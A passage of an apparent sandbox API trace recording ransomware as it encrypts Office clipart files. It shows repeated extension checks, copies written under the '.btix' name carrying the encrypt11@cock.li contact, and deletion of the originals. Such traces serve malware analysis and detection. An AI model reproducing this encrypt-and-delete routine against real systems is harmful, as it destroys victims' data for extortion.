lpString2=".WMF") returned -1 [0148.451] lstrlenW (lpString=".7z") returned 3 [0148.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0148.451] lstrlenW (lpString=".dbf") returned 4 [0148.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0148.451] lstrlenW (lpString=".1cd") returned 4 [0148.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0148.451] lstrlenW (lpString=".jpg") returned 4 [0148.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.451] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.451] lstrlenW (lpString="IN00351_.WMF") returned 12 [0148.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.451] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=1928) returned 1 [0148.451] CloseHandle (hObject=0x37c) returned 1 [0148.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 0x220 [0148.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.452] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.452] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0148.452] GetLastError () returned 0x0 [0148.452] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x788, lpOverlapped=0x0) returned 1 [0148.453] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x790, lpOverlapped=0x0) returned 1 [0148.454] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.454] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.454] SetEndOfFile (hFile=0x380) returned 1 [0148.454] CloseHandle (hObject=0x380) returned 1 [0148.454] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.454] SetEndOfFile (hFile=0x37c) returned 1 [0148.455] CloseHandle (hObject=0x37c) returned 1 [0148.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.455] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 1 [0148.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0148.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0148.456] lstrlenW (lpString=".doc") returned 4 [0148.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.456] lstrlenW (lpString=".docx") returned 5 [0148.456] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.456] lstrlenW (lpString=".pdf") returned 4 [0148.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.456] lstrlenW (lpString=".xls") returned 4 [0148.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.456] lstrlenW (lpString=".xlsx") returned 5 [0148.456] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.456] lstrlenW (lpString=".ppt") returned 4 [0148.456] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0148.456] lstrlenW (lpString=".zip") returned 4 [0148.456] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.456] lstrlenW (lpString=".rar") returned 4 [0148.456] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.457] lstrlenW (lpString=".bz2") returned 4 [0148.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.457] lstrlenW (lpString=".7z") returned 3 [0148.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0148.457] lstrlenW (lpString=".dbf") returned 4 [0148.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0148.457] lstrlenW (lpString=".1cd") returned 4 [0148.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0148.457] lstrlenW (lpString=".jpg") returned 4 [0148.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0148.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0148.457] lstrlenW (lpString=".doc") returned 4 [0148.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.457] lstrlenW (lpString=".docx") returned 5 [0148.457] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.457] lstrlenW (lpString=".pdf") returned 4 [0148.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.457] lstrlenW (lpString=".xls") returned 4 [0148.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.457] lstrlenW (lpString=".xlsx") returned 5 [0148.457] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.457] lstrlenW (lpString=".ppt") returned 4 [0148.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0148.457] lstrlenW (lpString=".zip") returned 4 [0148.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.457] lstrlenW (lpString=".rar") returned 4 [0148.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.457] lstrlenW (lpString=".bz2") returned 4 [0148.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.457] lstrlenW (lpString=".7z") returned 3 [0148.458] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0148.458] lstrlenW (lpString=".dbf") returned 4 [0148.458] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0148.458] lstrlenW (lpString=".1cd") returned 4 [0148.458] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0148.458] lstrlenW (lpString=".jpg") returned 4 [0148.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.458] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.458] lstrlenW (lpString="IN00557_.WMF") returned 12 [0148.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.458] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=9172) returned 1 [0148.458] CloseHandle (hObject=0x37c) returned 1 [0148.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 0x220 [0148.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.459] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.459] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0148.459] GetLastError () returned 0x0 [0148.459] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x23d4, lpOverlapped=0x0) returned 1 [0148.460] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x23e0, lpOverlapped=0x0) returned 1 [0148.461] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.461] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.461] SetEndOfFile (hFile=0x380) returned 1 [0148.462] CloseHandle (hObject=0x380) returned 1 [0148.462] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.462] SetEndOfFile (hFile=0x37c) returned 1 [0148.462] CloseHandle (hObject=0x37c) returned 1 [0148.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.463] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 1 [0148.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0148.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0148.463] lstrlenW (lpString=".doc") returned 4 [0148.463] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.463] lstrlenW (lpString=".docx") returned 5 [0148.463] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.463] lstrlenW (lpString=".pdf") returned 4 [0148.463] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.463] lstrlenW (lpString=".xls") returned 4 [0148.463] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.463] lstrlenW (lpString=".xlsx") returned 5 [0148.463] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.463] lstrlenW (lpString=".ppt") returned 4 [0148.463] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0148.463] lstrlenW (lpString=".zip") returned 4 [0148.463] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.463] lstrlenW (lpString=".rar") returned 4 [0148.463] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.463] lstrlenW (lpString=".bz2") returned 4 [0148.464] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.464] lstrlenW (lpString=".7z") returned 3 [0148.464] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0148.464] lstrlenW (lpString=".dbf") returned 4 [0148.464] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0148.464] lstrlenW (lpString=".1cd") returned 4 [0148.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0148.464] lstrlenW (lpString=".jpg") returned 4 [0148.464] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0148.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0148.464] lstrlenW (lpString=".doc") returned 4 [0148.464] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.464] lstrlenW (lpString=".docx") returned 5 [0148.464] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.464] lstrlenW (lpString=".pdf") returned 4 [0148.464] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.464] lstrlenW (lpString=".xls") returned 4 [0148.464] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.464] lstrlenW (lpString=".xlsx") returned 5 [0148.464] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.464] lstrlenW (lpString=".ppt") returned 4 [0148.464] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0148.464] lstrlenW (lpString=".zip") returned 4 [0148.464] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.464] lstrlenW (lpString=".rar") returned 4 [0148.464] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.464] lstrlenW (lpString=".bz2") returned 4 [0148.464] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.464] lstrlenW (lpString=".7z") returned 3 [0148.464] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0148.465] lstrlenW (lpString=".dbf") returned 4 [0148.465] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0148.465] lstrlenW (lpString=".1cd") returned 4 [0148.465] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0148.465] lstrlenW (lpString=".jpg") returned 4 [0148.465] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.465] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.465] lstrlenW (lpString="IN00915_.WMF") returned 12 [0148.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.465] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=12748) returned 1 [0148.465] CloseHandle (hObject=0x37c) returned 1 [0148.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 0x220 [0148.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0148.465] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.466] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0148.466] GetLastError () returned 0x0 [0148.466] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x31cc, lpOverlapped=0x0) returned 1 [0148.467] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x31d0, lpOverlapped=0x0) returned 1 [0148.468] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.468] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.468] SetEndOfFile (hFile=0x380) returned 1 [0148.468] CloseHandle (hObject=0x380) returned 1 [0148.468] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.468] SetEndOfFile (hFile=0x37c) returned 1 [0148.469] CloseHandle (hObject=0x37c) returned 1 [0148.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.469] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 1 [0148.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0148.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0148.470] lstrlenW (lpString=".doc") returned 4 [0148.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.470] lstrlenW (lpString=".docx") returned 5 [0148.470] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.470] lstrlenW (lpString=".pdf") returned 4 [0148.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.470] lstrlenW (lpString=".xls") returned 4 [0148.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.470] lstrlenW (lpString=".xlsx") returned 5 [0148.470] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.470] lstrlenW (lpString=".ppt") returned 4 [0148.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0148.470] lstrlenW (lpString=".zip") returned 4 [0148.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.470] lstrlenW (lpString=".rar") returned 4 [0148.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.470] lstrlenW (lpString=".bz2") returned 4 [0148.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.470] lstrlenW (lpString=".7z") returned 3 [0148.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0148.470] lstrlenW (lpString=".dbf") returned 4 [0148.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0148.470] lstrlenW (lpString=".1cd") returned 4 [0148.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0148.470] lstrlenW (lpString=".jpg") returned 4 [0148.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0148.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0148.470] lstrlenW (lpString=".doc") returned 4 [0148.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.470] lstrlenW (lpString=".docx") returned 5 [0148.471] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.471] lstrlenW (lpString=".pdf") returned 4 [0148.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.471] lstrlenW (lpString=".xls") returned 4 [0148.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.471] lstrlenW (lpString=".xlsx") returned 5 [0148.471] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.471] lstrlenW (lpString=".ppt") returned 4 [0148.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0148.471] lstrlenW (lpString=".zip") returned 4 [0148.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.471] lstrlenW (lpString=".rar") returned 4 [0148.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.471] lstrlenW (lpString=".bz2") returned 4 [0148.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.471] lstrlenW (lpString=".7z") returned 3 [0148.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0148.471] lstrlenW (lpString=".dbf") returned 4 [0148.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0148.471] lstrlenW (lpString=".1cd") returned 4 [0148.471] 